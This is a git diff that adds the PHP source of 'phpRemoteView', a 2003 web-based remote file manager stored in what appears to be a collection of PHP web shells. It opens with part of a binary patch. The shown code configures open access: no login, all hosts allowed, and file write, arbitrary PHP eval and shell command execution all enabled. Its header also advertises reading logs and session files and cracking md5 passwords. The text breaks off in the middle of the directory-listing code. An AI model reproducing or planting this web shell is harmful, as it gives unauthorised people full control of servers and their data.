zDS^pt{Ys|JAitSTM|iZ8O<RIY!-OcCgyc>OITIg;$ff6hrw;$Oo+VR1iN-<wDWH^* z$PjO+1V;z@bnbH1WBGD<)BL!Vrun`L*2c&#iu}SkuZiDOK2DW)aQ186a%SShG9cl_ zxqzhy*{iht-h%r(KV-Uh)`Bx>3y6$EiHqYq?{C>?=*1e<S_P*~-f~3|e(d7sBOE*7 z*AKrS97rs!`Y4f`-*t*KUak(lZwC?i$R_*bt+%{VUBoneeDJd%`fyV;!mGr}y6t!f zdaUh8EW6d>@Te+_OxZ<#FL5Y9TAy6;X9c<2)h*=ePNqbr0Q6AN+>0!vlb&JfwA#=n z$X4;A=DcV@80igPjtR8)nXNJMleL5htM>^rmpFSU_ytU?tfPmKlR2D5^$uGkezsfj zN9Qx#?L_vn`V>-r{6J-=JV_wQn|Hu=HY2NE+KZgZm^SVn&EzNeUPWV^oeH_-ra+F^ zL~p~d`H%CRL!iVcr&>d%C<*A@WW_)S)#FV>EwwUJIB+%NLhTaAo3_hc>8#3VD7*88 z`%!eN1Cb9|5IZ&0;9(#MVq6)xG3z+xBRoEET;hUGV1X?2nTKn+Vod{<UJjcd?dm`_ z6@YH3f%kmf>t^G+J3tV=@9&t5f2a`4eGjACq5&IdB$P6x6}kq@CbZ(SoGu_~)rs~b z*8_bd6@ITz_+e`{P<hzhsE=@=3aU<DK0MXMv>^_goEtyTp~E?ZEMK|fbub?OWd9_% zc>AZ@+QcrZX|jA_%!1q3qeb6h(Dkif#A6nYflOY2%4WE_UyVuexZTvz3}uf~55ki_ z0Njwy>X}=QWYs+)Vzg&KjW(FXTYp?=*1HxHZ`kxTn54O#4q)w}emhWpea%^ZxsapE z)4*sDXP=2qUBc6TNN~6OI6oe1hBh8_kYnlr4$Q*z00aenmJ|8fl2a(|i*;@OV8Xl} zQw{JNi#p8kXO!{pMJaz$FS%{2LzBjFpEVMmDHW@rxq$pInXXg{r8?2Ain~t%c|66D zZGhKg!Mj?e-;|gr^-Am>27*$jj>kIFxWi=z5ci}Fgyh&mvD4>MChB~q?#K3+b-65t z8_%W9UbKAj_80c%YJ>_XsRCa_P_gKJ9e#ogIb>-7=ZG{znhaahvDy(?R;m7GNhp9J zor&5KK!rr<1cdp@s8H=tRSUQHeUB6^KGzu>2mvwc1=4h>Q{^G7(Ij^bC3vZsly2L) z&Dy?Bcj|&37m3~ySfNWxf-Zt0R~#Ob-*E*H!8se29bmR&rnNnj!(oQM0#b|Js0ys3 z{Ip|4p9do3pD0#Ka63MJcrxu%5bvFyq4ldfC7vVQs_Ax>aPbG2z#IJaJ3{n=>#H1q zlOc$K-t16s$~k3^PC>NC&baO)HyaP(*?#dAj#2dB?sDQq?IxlChM4NSC5uMOZu51P zW#Sa15v(6!N<q&NDrRk)CmPGO>URvG6-Sp6ndOPU{s112mKUT<GHM8mktZH&J5dsj zgk2ydZ@m1-%PjY{U!m#N<^$~b+tob1TuHn5WUE(tdYScxRxQ_i<vEy`biY2{oh~Kx WK})0lU8vQ61jYJ4azE_P%s&CF1$L<b literal 0 HcmV?d00001 diff --git a/php/PHPshell/PHPRemoteView/PHPRemoteView.php b/php/PHPshell/PHPRemoteView/PHPRemoteView.php new file mode 100644 index 0000000..4d6e436 --- /dev/null +++ b/php/PHPshell/PHPRemoteView/PHPRemoteView.php @@ -0,0 +1,2553 @@ +<?php + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * + * Welcome to phpRemoteView (RemView) + * + * View/Edit remove file system: + * - view index of directory (/var/log - view logs, /tmp - view PHP sessions) + * - view name, size, owner:group, perms, modify time of files + * - view html/txt/image/session files + * - download any file and open on Notepad + * - create/edit/delete file/dirs + * - executing any shell commands and any PHP-code + * + * Free download from http://php.spb.ru/remview/ + * Version 04c, 2003-10-23. + * Please, report bugs... + * + * This programm for Unix/Windows system and PHP4 (or higest). + * + * (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru + * + * * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * * + * + * --version4-- + * 2003.10.23 support short <?php ?> tags, thanks A.Voropay + * + * 2003.04.22 read first 64Kb of null-size file (example: /etc/zero), + * thanks Anight + * add many functions/converts: md5, decode md5 (pass crack), + * date/time, base64, translit, russian charsets + * fix bug: read session files + * + * 2002.08.24 new design and images + * many colums in panel + * sort & setup panel + * dir tree + * base64 encoding + * character map + * HTTP authentication with login/pass + * IP-address authentication with allow hosts + * + * --version3-- + * 2002.08.10 add multi language support (english and russian) + * some update + * + * 2002.08.05 new: full windows support + * fix some bugs, thanks Jeremy Flinston + * + * 2002.07.31 add file upload for create files + * add 'direcrory commands' + * view full info after safe_mode errors + * fixed problem with register_glogals=off in php.ini + * fixed problem with magic quotes in php.ini (auto strip slashes) + * + * --version2-- + * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands + * add panel 'TOOLS': eval php-code and run shell commands + * add copy/edit/create file (+panel 'EDIT') + * add only-read mode (disable write/delete and PHP/Shell) + * + * 2002.01.19 add delete/touch/clean/wipe file + * add panel 'INFO', view a/c/m-time, hexdump view + * add session file view mode (link 'SESSION'). + * + * 2002.01.12 first version! + * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +///////////////////////////////// S E T U P /////////////////////////////////// + + + $version="2003-10-23"; + + $hexdump_lines=8; // lines in hex preview file + $hexdump_rows=24; // 16, 24 or 32 bytes in one line + + $mkdir_mode=0755; // chmode for new dir ('MkDir' button) + + $maxsize_fread=65536; // read first 64Kb from any null-size file + + // USER ACCESS // + + $write_access=true; // true - user (you) may be write/delete files/dirs + // false - only read access + + $phpeval_access=true; // true - user (you) may be execute any php-code + // false - function eval() disable + + $system_access=true; // true - user (you) may be run shell commands + // false - function system() disable + + // AUTHORIZATION // + + $login=false; // Login & password for access to this programm. + $pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd"; + // Type 'login=false' for disable authorization. + + $host_allow=array("*"); // Type list of your(allow) hosts. All other - denied. + // Example: $host_allow=array("127.0.0.*","localhost") + + +/////////////////////////////////////////////////////////////////////////////// + + + $tmp=array(); + foreach ($host_allow as $k=>$v) + $tmp[]=str_replace("\\*",".*",preg_quote($v)); + $s="!^(".implode("|",$tmp).")$!i"; + if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n"); + if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || + $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) { + header("WWW-Authenticate: Basic realm=\"phpRemoteView\""); + header("HTTP/1.0 401 Unauthorized"); + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n"); + } + + error_reporting(2047); + set_magic_quotes_runtime(0); + @set_time_limit(0); + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler"); + + $self=basename($HTTP_SERVER_VARS['PHP_SELF']); + + $url="http://".getenv('HTTP_HOST'). + (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : ""). + $HTTP_SERVER_VARS['PHP_SELF']. + (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : ""); + $uurl=urlencode($url); + + // + // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars; + // + $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ". + "ftype fnot c2 confirm text df df2 df3 df4 ref from to ". + "fatt showfile showsize root name ref names sort sortby ". + "datetime fontname fontname2 fontsize pan limit convert fulltime fullqty"; + foreach (explode(" ",$autovars1) as $k=>$v) { + if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; + elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; + //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; + } + + // + // autofix 'magic quotes': + // + $autovars2="php shell text d root convert"; + if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) { + foreach (explode(" ",$autovars2) as $k=>$v) { + if (isset($$v)) $$v=stripslashes($$v); + } + } + + $cp_def=array( + "001001", + "nst2ac", + "d/m/y H:i", + "Tahoma", + "9" + ); + + $panel=0; + if (isset($HTTP_COOKIE_VARS["cp$panel"])) + $cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]); + else + $cp=$cp_def; + $cc=$cp[0]; + $cn=$cp[1]; + +/* + +$cc / $cp[0]- , $cs: + $cc[0] - , : + n - + e - + $cc[1] - (0 - . 1 - ) + $cc[2] - + $cc[3] - : + 0 - text/plain + 1 - html + 2 - download + 3 - (info) + $cc[4] - // + $cc[5] - : + 1 - + 2 - + +$cn / $cp[1] - , , /: + t - type + n - name + s - size + a - owner+group + o - owner + g - group + c - chmod + 1 - create time + 2 - modify time + 3 - access time + +$cp[2]: + +$cp[3]: + +$cp[4]: + +*/ + + // + $cn_align=array(); + $cn_align['t']='center'; + $cn_align['n']='left'; + $cn_align['s']='right'; + $cn_align['a']='center'; + $cn_align['o']='center'; + $cn_align['g']='center'; + $cn_align['c']='center'; + $cn_align['1']='center'; + $cn_align['2']='center'; + $cn_align['3']='center'; + + +/////////////////////////////////////////////////////////////////////////////// + + +/*--mmstart--*/ +$mm=array( +"Index of"=>"", +"View file"=>" ", +"DISK"=>"", +"Info"=>"", +"Plain"=>"", +"HTML"=>"HTML", +"Session"=>"", +"Image"=>"", +"Notepad"=>"", +"DOWNLOAD"=>"", +"Edit"=>"", +"Sorry, this programm run in read-only mode."=>", ' '.", +"For full access: write"=>" : ", +"in this php-file"=>" php-", +"Reason"=>"", +"Error path"=>" ", +"Click here for start"=>" ", +"up directory"=>" ", +"access denied"=>" ", +"REMVIEW TOOLS"=>" REMVIEW", +"version"=>"", +"Free download"=>" ", +"back to directory"=>" ", +"Size"=>"", +"Owner"=>"", +"Group"=>"", +"FileType"=>" ", +"Perms"=>"", +"Create time"=>" ", +"Access time"=>" ", +"MODIFY time"=>" ", +"HEXDUMP PREVIEW"=>" 16- ", +"ONLY READ ACCESS"=>" ", +"Can't READ file - access denied"=>" - ", +"full read/write access"=>" /", +"FILE SYSTEM COMMANDS"=>" ", +"EDIT"=>".", +"FILE"=>"", +"DELETE"=>"", +"Delete this file"=>" ", +"CLEAN"=>"", +"TOUCH"=>"", +"Set current 'mtime'"=>"..", +"WIPE(delete)"=>"", +"Write '0000..' and delete"=>" , ", +"COPY FILE"=>" ", +"COPY"=>"", +"MAKE DIR"=>" ", +"type full path"=>" ", +"MkDir"=>"..", +"CREATE NEW FILE or override old file"=>" ", +"CREATE/OVERRIDE"=>"/", +"select file on your local computer"=>" ", +"save this file on path"=>" ", +"create file name automatic"=>" ", +"OR"=>"", +"type any file name"=>" ", +"convert file name to lovercase"=>" ", +"Send File"=>" ", +"Delete all files in dir"=>" ", +"Delete all dir/files recursive"=>" + ", +"Confirm not found (go back and set checkbox)"=>" ( )", +"Delete cancel - File not found"=>" - ", +"YES"=>"", +"ME"=>"", +"NO (back)"=>" ()", +"Delete cancel"=>" ", +"ACCESS DENIED"=>" ", +"done (go back)"=>" ()", +"Delete ok"=>", ", +"Touch cancel"=>" ", +"Touch ok (set current time to 'modify time')"=>" ( )", +"Clean (empty file) cancel"=>" ( ) ", +"Clean ok (file now empty)"=>", ( )", +"Wipe cancel - access denied"=>" - ", +"Wipe ok (file deleted)"=>", ( )", +"DIR"=>"DIR", +"Deleting all files in"=>" ", +"skip"=>"", +"deleting"=>"", +"Deleting all dir/files (recursive) in"=>" / ()", +"DONE, go back"=>", ", +"DONE"=>"", +"file not found"=>" ", +"ONLY READ ACCESS (don't edit!)"=>" ( )", +"Can't READ file - access denied (don't edit!)"=>" - ", +"EDIT FILE"=>" ", +"can't open, access denied"=>" , ", +"SAVE FILE (write to disk)"=>" ( )", +"You mast checked 'create file name automatic' OR typed file name!"=>" [ ] !'", +"SAVING TO"=>" ", +"Sorry, access denied"=>", ", +"for example, uncomment next line"=>" , ", +"Eval PHP code"=>" PHP ", +"don't type"=>" ", +"and"=>"", +"example (remove comments '#')"=>" ( '#')", +"Shell commands"=>" Shell'a", +"filesize to 0byte"=>" 0 ", +"from"=>"", +"to"=>"", +"Full file name"=>" ", +"Can't open directory"=>" ", +"setup"=>"", +"back"=>"", +"Reset all settings"=>" ", +"clear"=>"", +"Current"=>"", +"Colums and sort"=>" ", +"Sort order"=>" ", +"Ascending sort"=>" ", +"Descending sort"=>" ", +"Sort by filename"=>" ", +"Sort by filename extension"=>" ", +"Date/time format"=>" /", +"Panel font & size"=>"/ ", +"Setup"=>"", +"Char map"=>"", +"Language"=>"", +"English"=>"", +"Russian"=>"", +"Character map (symbol codes table)"=>" ", +"Select font"=>" ", +"or type other"=>" ", +"Font size"=>" ", +"Code limit"=>" ", +"Generate table"=>" ", +"Universal convert"=>" " +);/*--mmstop--*/ + + + + + $language=$cc[5]; + if ($language!=1 && $language!=2) $language=1; + + +function mm($m) { + global $mm,$language; + if ($language==1) return $m; + if (isset($mm[$m])) return $mm[$m]; + else echo "<script>alert('(mm) msg not found: $m');</script>"; +} + + +switch ($language) { +case 1: +$cn_name=array( +'t'=>"Type", +'n'=>"Name", +'s'=>"Size", +'o'=>"Owner", +'g'=>"Group", +'a'=>"Owner/Group", +'c'=>"Perms", +'1'=>"Create", +'2'=>"Modify", +'3'=>"Access" +); +break; +case 2: +$cn_name=array( +'t'=>"", +'n'=>"", +'s'=>"", +'o'=>"", +'g'=>"", +'a'=>"/", +'c'=>"", +'1'=>"", +'2'=>"", +'3'=>"" +); +break; +} + + + + +/////////////////////////////////////////////////////////////////////////////// + + + + $rand=microtime(); + + if (!isset($c)) $c=""; + if (!isset($d)) $d=""; + if (!isset($f)) $f=""; + + ob(); + $d=str_replace("\\","/",$d); + if ($d=="") $d=realpath("./")."/"; + if ($c=="") $c="l"; + if ($d[strlen($d)-1]!="/") $d.="/"; + $d=str_replace("\\","/",$d); + if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font color=red><big>$d</big></font></tt>$obb"); + if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb"); + obb(); + + // + // OS detect: + // + $win=0; + $unix=0; + if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1; + + + + +/////////////////////////////////////////////////////////////////////////////// + + +$html=<<<remview +<html><head> +<title>phpRemoteView: $d$f</title> +</head> +<body> +<style> +A { +text-decoration : none; +} +.t { +font-size: 9pt; +text-align : center; +font-family: Verdana; +} +.t2 { +font-size: 8pt; +text-align : center; +font-family: Verdana; +} +.n { + font-family: Fixedsys +} +.s { +font-size: 10pt; +text-align : right; +font-family: Verdana; +} +.sy { +font-family: Fixedsys; +} +.s2 { +font-family: Fixedsys; +color: red; +} +.tab { +font-size: 10pt; +text-align : center; +font-family: Verdana; +background: #cccccc; +} +.tr { +background: #ffffff; +} +</style> +remview; + + + +function display_perms($mode) +{ +if ($GLOBALS['win']) return 0; +/* Determine Type */ +if( $mode & 0x1000 ) +$type='p'; /* FIFO pipe */ +else if( $mode & 0x2000 ) +$type='c'; /* Character special */ +else if( $mode & 0x4000 ) +$type='d'; /* Directory */ +else if( $mode & 0x6000 ) +$type='b'; /* Block special */ +else if( $mode & 0x8000 ) +$type='-'; /* Regular */ +else if( $mode & 0xA000 ) +$type='l'; /* Symbolic Link */ +else if( $mode & 0xC000 ) +$type='s'; /* Socket */ +else +$type='u'; /* UNKNOWN */ + +/* Determine permissions */ +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; + +/* Adjust for SUID, SGID and sticky bit */ +if( $mode & 0x800 ) +$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) +$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) +$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; + +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + +function _posix_getpwuid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getpwuid($x); +} + +function _posix_getgrgid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getgrgid($x); +} + +function up($d,$f="",$name="") { + global $self,$win; + + $len=strlen($d."/".$f); + if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; } + elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";} + else {$sf1="<font size=2>"; $sf2="<font size=3>";} + + echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td + bgcolor=#cccccc> $sf1"; + + $home="<a href='$self'><font face=fixedsys size=+2>*</font></a>"; + echo $home.$sf2."<b>"; + if ($name!="") echo $name; + else { + if ($f=="") echo mm("Index of"); + else echo mm("View file"); + } + echo "</b></font> "; + + $path=explode("/",$d); + + $rootdir="/"; + if ($win) $rootdir=strtoupper(substr($d,0,2))."/"; + + $ss=""; + for ($i=0; $i<count($path)-1; $i++) { + if ($i==0) + $comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>"; + else + $comm="$path[$i]<big><b>/</big></b>"; + + $ss.=$path[$i]."/"; + echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>"; + if ($i==0 && $d=="/") break; + } + echo "</font>"; + if ($f!="") echo "$sf1$f</font>"; + + if ($win && strlen($d)<4 && $f=="") { + echo " &nbsp; ".mm("DISK").": "; + for ($i=ord('a'); $i<=ord('z'); $i++) { + echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> "; + } + } + + echo "</b></big></td><td bgcolor=#999999 width=1% align=center> + <table width=100% border=0 cellspacing=3 cellpadding=0 + bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a + href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b> + </nobr></font></td></tr></table> + </td></tr></table>"; +} + + +function up_link($d,$f) { + global $self; + $notepad=str_replace(".","_",$f).".txt"; +echo "<small> +[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>] +[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>] +[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>] +[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>] +</small>"; +} + + +function exitw() { +exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd> +<tr><td align=center> +".mm("Sorry, this programm run in read-only mode.")."<br> +".mm("For full access: write")." `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>` +".mm("in this php-file").".</td></tr></table> +"); +} + + + +function ob() { + global $obb_flag, $obb; + if (!isset($obb_flag)) { $obb_flag=0; $obb=false; } + if (function_exists("ob_start")) { + if ($GLOBALS['obb_flag']) ob_end_clean(); + ob_start(); + $GLOBALS['obb_flag']=1; + } +} + +function obb() { + global $obb; + if (function_exists("ob_start")) { + $obb=ob_get_contents(); + ob_end_clean(); + $obb="<P> +<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td> +<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center> +<b>".mm("Reason").":</b></td></tr></table> +</td></tr><tr><td> +<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td> +$obb<P> +</td></tr></table> +</table><P>"; + $GLOBALS['obb_flag']=0; + } +} + +function sizeparse($size) { + return strrev(preg_replace("!...!","\\0 ",strrev($size))); +} + + +function jsval($msg) { + $msg=str_replace("\\","\\\\",$msg); + $msg=str_replace("\"","\\\"",$msg); + $msg=str_replace("'","\\'",$msg); + return '"'.$msg.'",'; +} + + + +/////////////////////////////////////////////////////////////////////////// + + +switch($c) { + + +// listing +case "l": + + echo $GLOBALS['html']; + + if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>."); + + //up($d); + + ob(); + $di=dir($d); + obb(); + + $dirs=array(); + $files=array(); + + if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")). + "><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>". + "<font color=red><b>".mm("access denied")."</b></font>: $obb"); + while (false!==($name=$di->read())) { + if ($name=="." || $name=="..") continue; + if (@is_dir($d.$name)) { + $dirs[]=strval($name); + $fstatus[$name]=0; + } + else { + $files[]=strval($name); + $fstatus[$name]=1; + } + $fsize[$name]=@filesize($d.$name); + $ftype[$name]=@filetype($d.$name); + if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; } + $fperms[$name]=@fileperms($d.$name); + $fmtime[$name]=@filemtime($d.$name); + $fatime[$name]=@fileatime($d.$name); + $fctime[$name]=@filectime($d.$name); + $fowner[$name]=@fileowner($d.$name); + $fgroup[$name]=@filegroup($d.$name); + if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) + $fext[$name]=strtolower($ok[1]); + else + $fext[$name]=""; + } + $di->close(); + + $listsort=array(); + if (count($dirs)) + foreach ($dirs as $v) { + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "t": case "s": case "n": $listsort[$v]=strtolower($v); break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + $names=$listsort; + //echo "<pre>";print_r($names); + if ($cc[1]) arsort($names); else asort($names); + //echo "<pre>";print_r($names); + + $listsort=array(); + if (count($files)) + foreach ($files as $v) { + $v=strval($v); + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "n": $listsort[$v]=strtolower($v); break; + case "t": $listsort[$v]=$ftype[$v]; break; + case "s": $listsort[$v]=$fsize[$v]; break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + + //echo "<pre>DIRS:"; print_r($names); + if ($cc[1]) arsort($listsort); else asort($listsort); + //$names=array_merge($names,$listsort); + foreach ($listsort as $k=>$v) $names[$k]=$v; + //echo "<pre>FILES:"; print_r($listsort); + //echo "<pre>NAMES:"; print_r($names); + +?> +<STYLE> +.title { +color: 'black'; +background: #D4D0C8; +text-align: 'center'; +BORDER-RIGHT: #888888 1px outset; +BORDER-TOP: #ffffff 2px outset; +BORDER-LEFT: #ffffff 1px outset; +BORDER-BOTTOM: #888888 1px outset; +} +.window { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +BACKGROUND-COLOR: #D4D0C8; +CURSOR: default; +} +.window1 { +BORDER-RIGHT: #eeeeee 1px solid; +BORDER-TOP: #808080 1px solid; +BORDER-LEFT: #808080 1px solid; +BORDER-BOTTOM: #eeeeee 1px solid; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +} +.line { +BORDER-RIGHT: #cccccc 1px solid; +BORDER-TOP: #ffffff 1px solid; +BORDER-LEFT: #ffffff 1px solid; +BORDER-BOTTOM: #cccccc 1px solid; +font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>; +} +.line2 { +background: #ffffcc; +} +.black {color: black} +a:link.black {color: black} +a:active.black {color: black} +a:visited.black {color: black} +a:hover.black {color: #0000ff} + +.white {color: white} +a:link.white{color: white} +a:active.white{color: white} +a:visited.white{color: white} +a:hover.white{color: #ffff77} + +a:link {color: #000099;} +a:active {color: #000099;} +a:visited {color: #990099;} +a:hover {color: #ff0000;} +a { +CURSOR: default; +} +.windowtitle { +font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +font-weight: bold; +color: white; +} +.sym { +font: 14px Wingdings; +} +</STYLE> + +<?php + +function up2($d) { + global $win,$self; + $d=str_replace("\\","/",$d); + if (substr($d,-1)!="/") $d.="/"; + $d=str_replace("//","/",$d); + + $n=explode("/",$d); + unset($n[count($n)-1]); + + $path=""; + for ($i=0; $i<count($n); $i++) { + $path="$path$n[$i]/"; + if ($i==0) $path=strtoupper($path); + $paths[]=$path; + } + + $out=""; + $sum=0; + $gr=70; + for ($i=0; $i<count($n); $i++) { + $out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>"; + if (strlen($d)>$gr && $i>0 && $i+1<count($n)) { + if (strlen($d)-$sum>$gr) { + $out.=""; + $sum+=strlen($n[$i]); + } + else + $out.=$n[$i]; + } + else + if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i]; + $out.="/</a>"; + + } + + return $out; + return "<font size=-2>$d</font>"; +} + +$ext=array(); +$ext['html']=array('html','htm','shtml'); +$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg'); +$ext['exe']=array('exe','com','pif','src','lnk'); +$ext['php']=array('php','phtml','php3','php4','inc'); +$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'); + + + echo "\n\n\n<script>\nfunction tr("; + for ($i=0; $i<strlen($cn); $i++) { + echo "a$i,"; + } + echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee"; +// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>"; + echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>"; + for ($i=0; $i<strlen($cn); $i++) { + echo '<td align='.$cn_align[$cn[$i]].' class=line '; + switch ($cn[$i]) { + case 's': case 'c': case '1': case '2': case '3': case 't': + echo ' nowrap'; + } + echo ">"; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "\"+a$i+\""; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "</td>"; + } + echo "</tr>\");\n}"; + echo "\n\n</script>\n\n\n"; + + + //phpinfo(); + //echo implode(" | ",$cp); + echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc + class=window align=center width=60%><form name=main>'; + + echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'. + $self.'?c=img&name=fon&r=" class=windowtitle>'; + + echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'. + '<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'. + up2($d.$f).'</td></tr></table>'; + + echo '</td></tr>'. + '<tr><td>'. + '<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>'; + + $button_help=array( + 'up'=>"UP DIR", + 'refresh'=>"RELOAD", + 'mode'=>'SETUP, folder option', + 'edit'=>'DIR INFO', + 'home'=>'HomePage', + 'papki'=>'TREE', + 'setup'=>'PHP eval, Shell', + 'back'=>'BACK', + ); + + function button_url($name) { + global $self,$d,$f,$uurl; + switch ($name) { + case 'up': return "$self?c=l&d=".urlencode(realpath($d."..")); + case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d); + case 'mode': return "$self?c=setup&ref=$uurl"; + case 'edit': return 